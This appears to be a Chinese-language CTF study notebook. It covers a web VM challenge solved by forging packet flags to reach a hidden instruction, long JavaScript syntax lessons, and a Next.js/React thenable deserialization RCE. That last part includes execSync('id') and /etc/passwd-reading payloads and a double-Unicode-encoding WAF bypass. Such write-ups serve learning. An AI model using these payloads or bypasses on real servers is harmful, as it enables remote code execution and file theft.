packetEl.textContent = packetB64; // 显示Base64格式数据包(调试用)

⚠️ CTF关键: buildPacket默认使用flags = 0x000x01(由复选框控制) 但可以修改buildPacket或手动构造数据包,设置flags = 0x83 这样即使AST是合法的ECHO指令,后端也会执行dispatch_index = 3(隐藏指令)

4️⃣ 诊断模式处理

js 复制代码
if (diagMode) {
  outputEl.textContent = JSON.stringify(built.meta, null, 2); // 显示元数据
}

built.meta包含dispatch_indexsigned_flags等关键信息 题目提示:

json 复制代码
"dispatch_rules": [
  "signed_flags >= 0: dispatch index follows op_id",
  "signed_flags < 0: compatibility dispatch uses flags in index"
]

💡 明确说明:当signed_flags < 0时,可以通过flags控制指令分发!

5️⃣ 发送后端请求

js 复制代码
const response = await fetch('/api/vm', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ packet_b64: packetB64 })
});

后端处理流程:

  • Base64解码
  • 验证Magic值(WVLT)
  • 验证校验和
  • 解析指令
  • 根据dispatch_index执行对应处理程序

6️⃣ 处理响应

js 复制代码
if (!data.ok) {
  outputEl.textContent = data.error || 'error';
  return;
}
if (diagMode) {
  // 显示完整元数据+输出
  const meta = { ...built.meta, vm_output: data.output_utf8 || '' };
  outputEl.textContent = JSON.stringify(meta, null, 2);
} else {
  outputEl.textContent = data.output_utf8 || '(empty)';
}
  • 正常模式:仅显示输出内容(如"hello")
  • 诊断模式:显示完整元数据+输出(便于调试dispatch_index

JavaScript 异步函数(async)详解

1️⃣ async 是什么?

在 JavaScript 中:

javascript 复制代码
async function run() { ... }

表示定义一个异步函数(asynchronous function),具有以下特性:

  • 函数内部可以使用 await 关键字
  • 函数本身返回 Promise 对象
  • 返回值会自动包装成 Promise

2️⃣ 基础示例

javascript 复制代码
async function foo() { return 42; }

console.log(foo());  // 输出: Promise { 42 }
foo().then(x => console.log(x));  // 输出: 42

🔹 注意:虽然函数直接返回 42,但 JavaScript 会自动将其包装为 Promise。

3️⃣ 为什么要使用 async?

以网络请求(fetch)为例:

javascript 复制代码
const res = fetch('/api/data');

fetch 返回的是 Promise 对象。

传统写法

javascript 复制代码
fetch('/api/data')
  .then(res => res.json())
  .then(data => console.log(data));

使用 async/await

javascript 复制代码
async function getData() {
  const res = await fetch('/api/data');
  const data = await res.json();
  console.log(data);
}

✅ 优势:代码逻辑更接近同步流程,大幅提升可读性。

4️⃣ 实际应用示例

javascript 复制代码
const response = await fetch('/api/vm', { ... });
const data = await response.json();
  • await fetch(...):等待 fetch 操作完成
  • await response.json():等待 JSON 解析完成

⚠️ 注意:必须在使用 await 的函数前声明 async,否则会报错。

await = "等一下,让我拿到结果再继续"
async = "我是个异步函数,别着急,我会给你一个 Promise"

javascript 复制代码
const meta = { ...built.meta, vm_output: data.output_utf8 || '' };

分析:

{ ...built.meta }

叫 展开运算符(spread syntax)

把 built.meta 对象里的所有 key:value 全部复制到新对象里

类似于 Python 的 {**built.meta}

vm_output: data.output_utf8 || ''

新增/覆盖属性 vm_output

值 = data.output_utf8,如果 data.output_utf8 是 falsy(undefined、null、0、'' 等),就用空字符串 ''

{ ...built.meta, vm_output: ... }

最终生成一个 新的对象

包含原来的 meta + vm_output

1️⃣ 对象展开运算符...

javascript 复制代码
const a = { x: 1, y: 2 };
const b = { ...a, z: 3 };
console.log(b); // { x:1, y:2, z:3 }

含义:

  • ...a 表示将对象a的所有键值对展开到新对象中
  • 可以同时添加新属性或覆盖现有属性
  • 常见用途:对象合并/克隆/属性覆盖

2️⃣ 数组展开运算符...

javascript 复制代码
const arr1 = [1,2,3];
const arr2 = [...arr1, 4,5];
console.log(arr2); // [1,2,3,4,5]

含义:

  • ...arr1 将数组arr1的所有元素展开为独立值
  • 结合后续元素4,5组成新数组
  • 常见用途:数组合并/克隆/元素插入

大概的语法都看懂了。

先写个正常的模仿一下

1️⃣ 用户输入 → AST(抽象语法树)

js 复制代码
let ast;
try {
  ast = parseScript(scriptEl.value); // 解析用户在<textarea>中输入的脚本(如"ECHO hello")
} catch (err) {
  ...
}

处理流程:

  • 输入:scriptEl.value(用户输入的脚本内容)
  • 解析过程:
    • 处理换行符(\r?\n
    • 过滤空行
    • 每行拆分为 [cmd, arg...] 格式
    • 验证命令有效性(仅允许 ECHO | LEN | HASH)
  • 输出:返回 { op: upper, arg } 格式的对象数组(AST)

🔹 生成的AST是JavaScript对象数组,每个指令包含操作名(op)和参数(arg)

2️⃣ AST → 二进制数据包

js 复制代码
const built = buildPacket(ast);

buildPacket核心逻辑:

  1. 生成随机nonce

    js 复制代码
    const nonce = new Uint8Array(8);
    crypto.getRandomValues(nonce);
  2. 构造包头

    js 复制代码
    chunks.push(...encoder.encode('WVLT')); // 魔数
    chunks.push(0x01);                      // 版本号
    chunks.push(...nonce);                  // 8字节随机数
    chunks.push(ast.length & 0xff);         // 指令数量
  3. 指令处理循环

    js 复制代码
    ast.forEach((node) => {
      const opId = opMap[node.op];               // 操作码映射
      const argBytes = encoder.encode(node.arg);
      const opCode = encodeOp(opId, nonceLow32); // 混淆操作码
      
      chunks.push(...u32le(opCode));             // 4字节操作码
      chunks.push(flags);                        // 1字节标志位
      chunks.push(...u16le(argBytes.length));    // 2字节参数长度
      chunks.push(...argBytes);                  // 参数内容
    });
  4. 生成校验和

    js 复制代码
    const body = Uint8Array.from(chunks);
    const checksum = fnv1a32(body);
    const packet = new Uint8Array(body.length + 4);
    packet.set(body, 0);
    packet.set(u32le(checksum), body.length);
  5. 返回结构

    js 复制代码
    return { packet, meta };

🔹 最终生成的packet是前端要传输给后端的二进制数据(Uint8Array格式)

3️⃣ Uint8Array → Base64编码

js 复制代码
const packetB64 = toBase64(built.packet);
  • 将Uint8Array转换为Base64字符串
  • 确保数据可通过JSON安全传输

4️⃣ 发送到后端API

js 复制代码
const response = await fetch('/api/vm', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ packet_b64: packetB64 })
});

请求参数:

  • URL: /api/vm
  • 方法: POST
  • 请求头: Content-Type: application/json
  • 请求体: {"packet_b64":"...base64..."}

🔹 前端传输的是经过混淆和打包的二进制数据,而非原始明文脚本

其实直接写

// 模拟输入脚本

const scriptText = `

ECHO Hello World

LEN Another Test

HASH abc123

`;其他复制就可以模拟了

javascript 复制代码
(() => {
  const encoder = new TextEncoder();

  // 模拟输入脚本
  const scriptText = `
    ECHO Hello World
    LEN Another Test
    HASH abc123
  `;

  // 解析脚本
  function parseScript(text) {
    const lines = text.split(/\r?\n/).map(l => l.trim()).filter(Boolean);
    return lines.map(line => {
      const [cmd, ...rest] = line.split(/\s+/);
      const arg = rest.join(' ');
      const upper = cmd.toUpperCase();
      if (!['ECHO', 'LEN', 'HASH'].includes(upper)) {
        throw new Error(`Unknown command: ${cmd}`);
      }
      return { op: upper, arg };
    });
  }

  // 协议 Key
  const K = [0x1c, 0x2d, 0x3e, 0x40, 0xa5, 0xb6, 0xc7, 0xd8, 0x24, 0x68, 0xac, 0xe0];
  const K1 = ((K[0]<<24)|(K[1]<<16)|(K[2]<<8)|K[3])>>>0;
  const K2 = ((K[4]<<24)|(K[5]<<16)|(K[6]<<8)|K[7])>>>0;
  const K3 = ((K[8]<<24)|(K[9]<<16)|(K[10]<<8)|K[11])>>>0;
  const ROT = 11;

  function rotl32(value, shift) {
    return ((value << shift) | (value >>> (32 - shift))) >>> 0;
  }

  function encodeOp(opId, nonceLow32) {
    const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
    const base = ((opId ^ K1) + rot) >>> 0;
    return ((base ^ K3) | 0x80000000) >>> 0;
  }

  function fnv1a32(bytes) {
    let hash = 0x811c9dc5;
    for (let i = 0; i < bytes.length; i++) {
      hash ^= bytes[i];
      hash = (hash * 0x01000193) >>> 0;
    }
    return hash >>> 0;
  }

  function u32le(value) { return [value & 0xff, (value>>>8)&0xff, (value>>>16)&0xff, (value>>>24)&0xff]; }
  function u16le(value) { return [value & 0xff, (value>>>8)&0xff]; }

  function toBase64(bytes) {
    let s = '';
    for (let i = 0; i < bytes.length; i++) s += String.fromCharCode(bytes[i]);
    return btoa(s);
  }

  function buildPacket(ast) {
    const nonce = new Uint8Array(8);
    crypto.getRandomValues(nonce);
    const nonceLow32 = new DataView(nonce.buffer).getUint32(0, true);
    const flags = 0x00; // 正常模式

    const chunks = [];
    chunks.push(...encoder.encode('WVLT'));
    chunks.push(0x01);
    chunks.push(...nonce);
    chunks.push(ast.length & 0xff);

    const opMap = { ECHO: 0, LEN: 1, HASH: 2 };
    ast.forEach(node => {
      const opId = opMap[node.op];
      const argBytes = encoder.encode(node.arg);
      const opCode = encodeOp(opId, nonceLow32);
      chunks.push(...u32le(opCode));
      chunks.push(flags);
      chunks.push(...u16le(argBytes.length));
      chunks.push(...argBytes);
    });

    const body = Uint8Array.from(chunks);
    const checksum = fnv1a32(body);
    const packet = new Uint8Array(body.length + 4);
    packet.set(body, 0);
    packet.set(u32le(checksum), body.length);

    return packet;
  }

  // 生成 packet_b64
  const ast = parseScript(scriptText);
  const packet = buildPacket(ast);
  const packetB64 = toBase64(packet);

  console.log("Base64 Packet:", packetB64);
})();

const dispatchIndex = signedFlags < 0

? (((signedFlags >>> 0) | opId) % 4)

: (opId % 4);

|是按位或。

|-----|-------------------|-----------|-------------|
| ^ | 按位异或(Bitwise XOR) | 两个位不同才为 1 | 5 ^ 3 = 6 |

只要满足 两个条件 ,任何 flags 都可以触发隐藏指令(dispatchIndex = 3):

🔑 条件 1:signedFlags < 0

  • flags >= 128(因为 flags 是 1 字节,0~255)
  • 二进制最高位为 1 → 被当作有符号数时是负数

🔑 条件 2:(flags | opId) % 4 == 3

💡 注意:| 是按位或,不是加法!

所以那个js脚本然后flags改0x83就行

得到token了

不是,看了这么久语法其实好像只要看关键逻辑就行的。

✅ 简短回答:

chunks 里确实只包含 opCode(由 opId 混淆而来)和 flags
dispatchIndex 并不写入 packet,它是后端收到 packet 后,

opId(从 opCode 反推) + flags 动态计算出来的!**

也就是说:

  • 📦 packet 里没有 dispatchIndex 字段
  • 🧠 dispatchIndex 是后端"运行时决策"的结果
  • 🔑 前端只是"模拟"这个逻辑给你看(在 meta.instructions 里)

🔍 详细拆解

1️⃣ Packet 结构(你发送的内容)

复制代码
chunks.push(...u32le(opCode));   // ← 4字节:混淆后的 opcode
chunks.push(flags);              // ← 1字节:你的 flags(如 0x83)
chunks.push(...u16le(len));
chunks.push(...argBytes);

✅ 所以 packet 中只有:

  • opCode(加密/混淆过的 opId
  • flags
  • 参数

没有 opId,也没有 dispatchIndex

mio's waf

这个nextjs 的rce虽然比赛的时候想到了,但是他有js质询和waf,嗯,当时以为就没有。

虽然,好像只知道nextjs是

Node.js 是 JavaScript 的运行环境(地基)
Next.js 是基于 Node.js 构建的 Web 开发框架(房子)

markdown 复制代码
# JavaScript 原型机制解析

## 1. Person 构造函数
`Person` 是一个构造函数:
```javascript
function Person(name) {
  this.name = name;
}
  • 可直接调用(不推荐):Person("Alice")
  • 添加静态方法:
javascript 复制代码
Person.staticMethod = function() { ... } // 静态方法,属于构造函数本身

2. Person.prototype 对象

Person.prototype 是一个普通对象:

javascript 复制代码
console.log(typeof Person.prototype); // "object"

默认结构:

javascript 复制代码
Person.prototype = {
  constructor: Person, // 指向构造函数
  // 可添加其他方法
};

3. 原型方法示例

添加原型方法:

javascript 复制代码
Person.prototype.sayHi = function() {
  console.log("Hi, I'm " + this.name);
};

这表示:

  • 所有 new Person() 创建的实例都会继承 sayHi 方法
  • 不是 Person 函数自身的方法

🔍 验证原型继承

javascript 复制代码
function Person(name) {
  this.name = name;
}

Person.prototype.sayHi = function() {
  console.log("Hi, I'm " + this.name);
};

let alice = new Person("Alice");

// 1. 实例调用
alice.sayHi(); // ✅ "Hi, I'm Alice"

// 2. 构造函数调用
Person.sayHi(); // ❌ TypeError

// 3. 方法位置验证
console.log(Person.prototype.sayHi); // ✅ 存在
console.log(alice.sayHi === Person.prototype.sayHi); // true

✅ 结论:sayHi 属于 Person.prototype,通过原型链被实例继承。

🖼️ 关系图解

复制代码
           ┌──────────────┐
           │   Person     │ ← 构造函数
           └──────┬───────┘
                  │
      prototype   │
                  ▼
        ┌───────────────────┐
        │ Person.prototype  │ ← 原型对象
        │  - sayHi()        │
        │  - constructor    │
        └─────────▲─────────┘
                  │
    __proto__     │
                  │
          ┌───────┴───────┐
          │    alice      │ ← 实例
          │  - name       │
          └───────────────┘

💡 静态方法示例

真正的构造函数方法(静态方法):

javascript 复制代码
Person.createAnonymous = function() {
  return new Person("Anonymous");
};

let anon = Person.createAnonymous(); // ✅

✅ 总结对比

写法 归属 调用方式 用途
Person.prototype.method 实例共享方法 instance.method() 所有实例共用方法
Person.staticMethod 构造函数方法 Person.staticMethod() 工具方法/工厂函数

🔑 Person.prototype 是实例共享的方法集合,不是构造函数自身的方法。

复制代码

疑问 2:__proto__ 的目的

__proto__ 是干嘛的?

:对象的"原型链接",指向继承的方法仓库。访问对象属性时,自己找不到就沿 __proto__ 往上找。

原本 dog__proto__ 指向 Object.prototype

但当你写 dog.__proto__ = animalMethods你手动覆盖了它,切断了默认链。


默认情况(不赋值):

复制代码
const dog = {};
console.log(dog.__proto__ === Object.prototype); // true ✅

→ 此时"方法仓库"是 Object.prototype(里面有 toString, hasOwnProperty 等)。


疑问 3:prototype 的目的

prototype 又是干嘛的?

:构造函数的"共享方法仓库"。实例通过 __proto__ 链接到它,实现方法共享、节省内存。


疑问 4:为什么方法要挂 prototype 上(旧语法)

Person.prototype.sayHi = ... 这么写好怪,现在还用吗?

:不用了。这是 2015 年前的旧写法,为了共享方法。现在用 class 语法,方法自动共享,写在一起更整洁。


疑问 5:function 还能表示类吗?

:以前 function 当类用,现在呢?

:技术上还能,但实践中完全不用 class 替代了。class 本质是语法糖,底层还是 function + prototype,但强制 new、报错更安全、写法更直观。

__proto__ 是用来在"找不到属性时,沿着原型链向上查找"的机制 ------ 不只是方法,也包括任何属性。

1️⃣ Promise 是什么?(异步的"信封")

在 JavaScript 中,有些操作是异步的(比如读文件、发请求),不能立刻拿到结果。

Promise 就是一个容器,用来"装未来的结果":

复制代码
let promise = new Promise((resolve) => {
  setTimeout(() => resolve("数据来了!"), 1000);
});

// 1秒后打印 "数据来了!"
promise.then(result => console.log(result));

确实隔了1秒

2️⃣ Thenable 是什么?("像 Promise 的东西")

JavaScript 引擎(包括 React、Node.js、浏览器)在遇到一个值时,会问:

"你是不是 Promise?"

但它不只认真正的 Promise,而是检查:

"你有没有 .then 方法?"

如果有,就认为你是 Thenable(可 then 的对象),并按 Promise 方式处理!

✅ 合法的 Thenable 示例:
javascript 复制代码
let myThenable = {
  then(resolve, reject) {
    resolve("我是假 Promise,但能用!");
  }
};

// 这行代码会等待 myThenable 执行完!
await myThenable; // → "我是假 Promise,但能用!"

🔥 关键规则
任何有 .then 方法的对象,都会被 await.then() 当作异步任务执行!

then(resolve, reject) { ... } 是对象字面量中定义方法的简写形式,等价于 then: function(resolve, reject) { ... }

不需要写 function 关键字,但底层仍然是一个函数!

你提到的:

复制代码
function hanshu(...) { ... }

这是 函数声明(Function Declaration),是最经典、最常见的函数定义方式。

✅ 特点:

  • 会被 提升(hoisted):可以在定义前调用。

  • 是一个独立的语句,不是"值"。

  • 通常用于定义全局或模块级的函数。

    hanshu(); // ✅ 可以!因为函数声明被提升了
    function hanshu() {
    console.log("我是普通函数");
    }


❓那我之前写的:

复制代码
{
  then(resolve, reject) {
    resolve("成功啦!");
  }
}

这又是什么?

这是 对象字面量中的方法简写(Method Shorthand in Object Literal) ------ 它不是独立的函数声明 ,而是给对象添加一个方法

它等价于:

复制代码
{
  then: function(resolve, reject) {
    resolve("成功啦!");
  }
}

这里的 then 是对象的一个属性(property),它的值是一个函数。

所以你可以这样理解:

写法 类型 用途
function hanshu() { } 函数声明 定义一个独立的函数
obj = { hanshu() { } } 对象方法(简写) 给对象 obj 添加一个叫 hanshu 的方法

异步

📜 你的代码:

复制代码
// 1. 定义函数
function fetchData(callback) {
  setTimeout(() => {
    callback("数据来了!");
  }, 1000);
}

// 2. 调用函数
fetchData((result) => {
  console.log(result); // 1秒后输出
});

// 3. 立刻执行的代码
console.log("先干别的"); // 立刻输出

🔁 运行过程(按时间线)

⏱️ 时间点 0 毫秒:程序开始执行

第一步:定义 fetchData 函数

→ JS 记住:"哦,有个叫 fetchData 的函数,它接收一个 callback 参数。"

✅ 这一步不执行函数体,只是"记住"这个函数。


第二步:调用 fetchData(...)
复制代码
fetchData((result) => {
  console.log(result);
});
  • JS 执行这行代码:

    • (result) => { console.log(result); } 这个函数 作为参数传给 fetchData
    • 所以在 fetchData 内部,callback 就等于这个箭头函数
  • 然后进入 fetchData 函数体

    复制代码
    setTimeout(() => {
      callback("数据来了!");
    }, 1000);
  • JS 调用 setTimeout,告诉浏览器:

    "请在 1000 毫秒(1秒)后 ,执行这个箭头函数:() => { callback("数据来了!"); }"

关键点setTimeout异步的

→ 它不会等待 1 秒 ,而是立刻返回,让程序继续往下走!


第三步:执行下一行
复制代码
console.log("先干别的");
  • 因为 setTimeout 已经"安排好了任务",但不阻塞程序
  • 所以这行代码立刻执行

✅ 输出:

🕒 此时才过了 不到 1 毫秒,1 秒的定时器还在后台计时。


⏱️ 时间点 1000 毫秒(1秒后):定时器触发

  • 浏览器(或 Node.js)发现:

    "哦,1 秒到了!该执行之前注册的回调了。"

  • 于是执行

    复制代码
    () => {
      callback("数据来了!");
    }
  • callback 是谁?就是你传进去的那个箭头函数

    复制代码
    (result) => {
      console.log(result);
    }
  • 所以相当于执行

    复制代码
    console.log("数据来了!");

✅ 输出:


🧾 最终输出顺序:

复制代码
先干别的
数据来了!

✅ 先输出"先干别的",1秒后再输出"数据来了!"

javascript 复制代码
let promise = new Promise((resolve, reject) => {
  // 模拟异步
  setTimeout(() => {
    let success = true;
    if (success) {
      resolve("成功!");     // 成功时调用 resolve
    } else {
      reject("失败了!");    // 失败时调用 reject
    }
  }, 1000);
});

🔍 运行逻辑详解

  1. Promise 创建阶段(同步执行)

    • new Promise(...) 立即执行传入的 executor 函数 (即 (resolve, reject) => { ... })。
    • 此时,JavaScript 引擎会同步地开始执行这个函数体。
    • 在函数体内,调用了 setTimeout(..., 1000),这是一个异步操作 ,它将回调函数放入任务队列,1 秒后执行
    • 所以,Promise 对象 promise 被立即创建 ,但其状态还是 pending(等待中)
  2. 1 秒后(异步回调执行)

    • setTimeout 的回调函数被调用。
    • 变量 success 被设为 true
    • 因为 if (success) 成立,所以调用 resolve("成功!")
    • 此时,Promise 的状态从 pending 变为 fulfilled(已成功) ,并且其结果值为 "成功!"
  3. 后续如何使用?

    • 虽然你只创建了 Promise,但通常我们会通过 .then().catch() 来处理结果:

      复制代码
      promise
        .then(result => {
          console.log(result); // 输出:"成功!"
        })
        .catch(error => {
          console.log(error); // 不会执行
        });
    • 如果 success = false,则会调用 reject("失败了!"),Promise 状态变为 rejected(已失败).catch() 会被触发。

✅ 核心机制:resolvereject 是从哪来的?

当你写:

复制代码
let promise = new Promise((resolve, reject) => {
  // ...
});

JavaScript 引擎会自动创建两个函数(我们叫它们"能力令牌"):

  • resolve:用来标记 Promise 成功
  • reject:用来标记 Promise 失败

然后,引擎把这两个函数作为参数传给你的箭头函数(或普通函数)。

所以:

复制代码
new Promise( (resolve, reject) => { ... } )
//           ↑        ↑
//           │        └── 第二个参数 = reject 函数
//           └── 第一个参数 = resolve 函数

🔁 你在函数内部怎么用它们?

你可以在异步操作完成后,根据实际情况调用其中一个

复制代码
setTimeout(() => {
  if (成功了) {
    resolve(结果数据);   // 👈 调用第一个参数(成功)
  } else {
    reject(错误原因);    // 👈 调用第二个参数(失败)
  }
}, 1000);

💡 这就像别人给了你两个按钮:

  • 绿色按钮(resolve):按了就表示"任务成功"
  • 红色按钮(reject):按了就表示"任务失败"

你只能按其中一个(通常),按了之后 Promise 的状态就永久确定

是的!✅
resolve("成功!") 中的 "成功!" 会作为 Promise 的"结果值"被传递出去,并最终传给 .then() 的回调函数。


🔁 传递过程详解:

1. 调用 resolve 时保存值

js

编辑

复制代码
new Promise((resolve, reject) => {
  resolve("成功!"); // ← 这个字符串被 Promise 内部记录下来
});
  • Promise 状态变为 fulfilled(已成功)
  • "成功!" 被永久绑定到这个 Promise 上。
2. 通过 .then() 接收这个值
复制代码
promise.then((result) => {
  console.log(result); // ← 输出: "成功!"
});
  • .then() 的第一个参数(通常叫 resultvalue 等)自动接收 resolve 传入的值
  • 这个传递是 Promise 机制的核心功能之一:把异步操作的结果"送出来"。
Q:只能传字符串吗?

A:不!可以传任意类型的值

复制代码
resolve(42);
resolve({ name: "Alice" });
resolve([1, 2, 3]);
resolve(fetch("/api/data")); // 甚至可以是一个 Promise!

一、fakePromise 是什么?

看这段代码:

javascript 复制代码
let fakePromise = { ... };

这实际上是最基础的:

👉 普通对象变量定义

它等价于:

javascript 复制代码
let fakePromise = new Object();

因此:

fakePromise 就是一个普通对象,不是 Promise 实例,也没有使用任何特殊语法,仅仅是一个变量名。

二、then(resolve, reject) 是什么语法?

这段代码:

javascript 复制代码
then(resolve, reject) { ... }

需要注意:

  1. 这不是 Promise 特有的关键字
  2. 这只是一个对象方法的简写形式

等价于传统写法:

javascript 复制代码
then: function(resolve, reject) { ... }

也等同于:

javascript 复制代码
then: (resolve, reject) => { ... }

本质上:

then 就是一个普通的函数属性名

就像这样:

javascript 复制代码
let obj = {
  say(name) {
    console.log(name);
  }
};

没有任何特殊之处。

任何有 .then 方法的对象,都会被 await 或 .then() 当作异步任务执行!

.then 就是对象的 then 方法

写成 obj.then访问对象的 then 属性 ,而这个属性的值是一个函数 ------ 所以它就是"对象的方法"。

所以你说得完全对:它有的是对象的方法 then,也就是 .then。这两个说法是一回事!

一、await 背后发生了什么?

当你写:

复制代码
await fakePromise;

JavaScript 引擎不会直接"等待"这个对象 ,而是先检查它是不是 Thenable (即有没有 .then 方法)。

如果发现有,引擎就会主动调用 它的 .then 方法,并悄悄传入两个回调函数作为参数!

这就像:

javascript 复制代码
// 你写的代码:
await fakePromise;

// 引擎内部实际做的(简化版):
new Promise((resolveOuter, rejectOuter) => {
  // 检查 fakePromise 是否有 .then 方法 → 有!
  fakePromise.then(
    // 第一个参数:成功回调(你代码里的 resolve)
    (value) => {
      resolveOuter(value); // 把结果传递给 await
    },
    // 第二个参数:失败回调(你代码里的 reject)
    (error) => {
      rejectOuter(error);
    }
  );
});

所以:

  • 你没传参数 ✅(你只写了 await fakePromise
  • 但引擎在调用 .then 时,自动传了两个函数

这就解释了为什么你的 then(resolve, reject) 能收到参数!


🧠 类比理解:你点外卖

想象你点了一份外卖:

复制代码
await 外卖;

你只是"下单"(写 await),但外卖平台(JS 引擎)会自动做很多事

  • 打电话给餐厅(调用 .then
  • 告诉餐厅:"做好了打这个电话(resolve),出问题打那个电话(reject)"

你不需要知道电话号码(回调函数)是什么,平台自动处理!

同理:

  • 你写 await fakePromise
  • 引擎自动调用 fakePromise.then(successCallback, errorCallback)
  • 你在 then 里拿到的 resolve 就是那个 successCallback

✅ 验证:自己手动调用 .then 也一样!

你可以不用 await,直接调用 .then,效果类似:

复制代码
let fakePromise = {
  then(resolve, reject) {
    setTimeout(() => resolve("结果!"), 1000);
  }
};

// 手动调用 .then
fakePromise.then(
  (value) => console.log("成功:", value),
  (error) => console.log("失败:", error)
);

这时候:

  • (而不是引擎)传入了两个回调
  • then 内部的 resolve 参数就是你传的第一个函数!

await 只是让引擎替你做了这件事,并把结果"解包"出来。


📌 关键结论

你写的代码 实际发生的事
await fakePromise 引擎检测到 fakePromise.then 是函数 → 自动调用 fakePromise.then(成功回调, 失败回调)
你没传参数 ✅ 正确!参数是引擎传的,不是你传的
resolve 是谁? 是引擎提供的"成功回调",你调用它就等于告诉引擎:"任务完成了,结果是 xxx"

💡 补充:这就是 Promises/A+ 规范的要求!

所有兼容 Promise 的系统(浏览器、Node.js、React 等)都遵循 Promises/A+ 规范,其中明确规定:

如果一个对象有 then 方法,就称它为 thenable

当处理 thenable 时,必须调用 then(onFulfilled, onRejected),并传入两个回调。

所以这不是某个引擎的"私货",而是标准行为


✅ 最后一句话总结:

await fakePromise 虽然看起来没传参,但 JS 引擎会在内部自动调用 fakePromise.then(resolve, reject),并传入两个回调函数 ------ 这就是 resolvereject 的来源!

你理解得非常对:

resolvereject 只是参数名,JavaScript 引擎在调用 .then 时,会按顺序传入两个函数 ------ 不管你叫它们什么,第一个就是"成功回调",第二个就是"失败回调"。


✅ 示例:随便改名字!

javascript 复制代码
let myThenable = {
  then(苹果, 香蕉) {  // ← 把 resolve/reject 改成 苹果/香蕉
    console.log(typeof 苹果);   // "function"
    console.log(typeof 香蕉);   // "function"

    setTimeout(() => {
      苹果("我是结果!");  // 第一个参数 = 成功回调
    }, 500);
  }
};

(async () => {
  const result = await myThenable;
  console.log(result); // "我是结果!"
})();

✅ 完全正常运行!输出:

复制代码
function
function
我是结果!

🔍 为什么可以随便改?

因为 JavaScript 函数的参数是按位置(position)传递的,不是按名字

引擎调用你的 .then 方法时,本质上是这样:

复制代码
// 引擎内部(简化):
const onFulfilled = (value) => { /* 处理成功 */ };
const onRejected  = (error) => { /* 处理失败 */ };

myThenable.then(onFulfilled, onRejected);

所以:

  • 第一个实参 → 对应你函数的第一个形参(不管叫 resolvedonesuccess🍎
  • 第二个实参 → 对应第二个形参(不管叫 rejectfailerror🍌

想象你去点奶茶:

复制代码
await 点一杯奶茶;

店员(JS 引擎)看到你要点奶茶,就问你:

"做好了怎么通知你?出问题了又怎么通知你?"

你给了他两个联系方式:

  • 微信(成功时用)→ 相当于 苹果
  • 电话(失败时用)→ 相当于 香蕉

这么学语法好像不太好。应该看系统课吗,没招了。

3️⃣ 漏洞怎么利用这一点?

攻击者想让服务器执行一段代码,但正常情况下服务器不会随便执行用户传的字符串。

于是他想了个 trick:

步骤 1:构造一个"看起来像 Promise"的对象
复制代码
let fakeChunk = {
  then: function(resolve) {
    // 这里放恶意代码!
    eval("process.mainModule.require('child_process').execSync('id')");
    resolve();
  }
};
步骤 2:让 React 在解析时"遇到"这个对象

React 在处理 Flight 协议数据时,看到这个对象有 .then,就以为它是合法的 Promise/Thenable,于是:

复制代码
// React 内部可能这样写:
if (typeof obj.then === 'function') {
  await obj; // ← 触发 fakeChunk.then()!
}

恶意代码被执行!

🧱 基础 1:await 不只等 Promise

很多人以为 await 只能用在 new Promise(...) 上,其实不是!

await 可以用在任何 "Thenable" 对象上

Thenable = 任何有 .then 方法的对象


📜 基础 2:JavaScript 语言规范规定

根据 ECMAScript 规范,当你写:

复制代码
await someValue;

JS 引擎会做一件事(简化版):

如果 someValue 是对象,并且有 .then 方法(且是函数),就把它当作 Promise 来"解析"

具体怎么"解析"?

调用它的 .then(onFulfilled, onRejected) 方法


🔍 基础 3:.then 方法是怎么被调用的?

复制代码
let fake = {
  then(resolve, reject) {
    console.log("我被执行了!");
    resolve("成功");
  }
};

// 现在 await 它
(async () => {
  let result = await fake;
  console.log(result); // "成功"
})();
发生了什么?
  1. JS 引擎看到 await fake

  2. 检查:fake 是对象 ✅,typeof fake.then === 'function' ✅;

  3. 于是认为它是 Thenable;

  4. 立即调用 :js

    复制代码
    fake.then(
      (value) => { /* 把 value 传给 await 的结果 */ },
      (error) => { /* 把 error 抛出 */ }
    );
  5. → 你的 then 函数立刻执行

💡 这就是关键:只要你有 .thenawait 就会主动调用它!


⚠️ 基础 4:.then 里可以干任何事!

.then 本质上就是一个普通函数。你在里面写什么,它就执行什么:

复制代码
let evil = {
  then(resolve, reject) {
    // 这里可以:
    alert("弹窗!");           // 浏览器
    require('fs').readFileSync('/etc/passwd'); // Node.js
    eval("console.log('任意代码')");          // 动态执行
    resolve();
  }
};

await evil; // ← evil.then() 被调用!所有代码都会跑!

所以,只要能让某个对象被 await,而它又有恶意 .then,就能执行任意代码。

🔄 回到 React 的场景(简单带过)

React 在反序列化数据时,为了支持异步组件,会这样处理对象:

复制代码
// 伪代码:React 内部逻辑
function deserialize(obj) {
  if (typeof obj.then === 'function') {
    return await obj; // ← 这里触发 obj.then()
  }
  return obj;
}

所以,如果你传一个:

复制代码
{ then: () => { 恶意代码 } }

→ React 一 await,就执行了你的 then

嗯,感觉这题已经不是省赛的范围了,太超标了。

学习他的编码绕过

核心漏洞:WAF与后端的解码不一致

复制代码
┌─────────┐    编码后的Payload    ┌─────────┐    解码一次后的Payload    ┌─────────┐
│  攻击者  │ ───────────────────→ │   WAF   │ ───────────────────────→ │ Next.js │
│ (你)    │                      │ (检查)  │   如果过检,转发给后端      │ (执行)  │
└─────────┘                      └─────────┘                         └─────────┘
                                    ↓ 只解码一次
                                  黑名单检查
                                    ↓
                            解码后的内容是否含敏感词?
                                    ↓
                              是 → 拦截(403)
                              否 → 转发给后端
                                    ↓
                              后端再解码一次 → 执行

关键发现 :WAF只解码一次 ,但后端(Next.js)会再解码一次


双重Unicode编码绕过(本题核心)

第一步:正常Payload(会被拦截)

复制代码
{
  "_response": {
    "_prefix": "require('child_process').execSync('id')"
  }
}

WAF检查 :发现_response_prefixrequirechild_process拦截!


第二步:单次Unicode编码(仍被拦截)

把关键字编码一次:

复制代码
{
  "\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": {
    "\u005f\u0070\u0072\u0065\u0066\u0069\u0078": "\u0072\u0065\u0071\u0075\u0069\u0072\u0065..."
  }
}

WAF处理

  1. 接收请求

  2. Unicode解码一次 → 还原成原始的_response_prefix

  3. 黑名单检查 → 仍然拦截!


第三步:双重Unicode编码(成功绕过)

把已经编码过一次的内容,再编码一次

复制代码
原始:     {"_response": ...}
↓ 编码一次:{"\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065": ...}
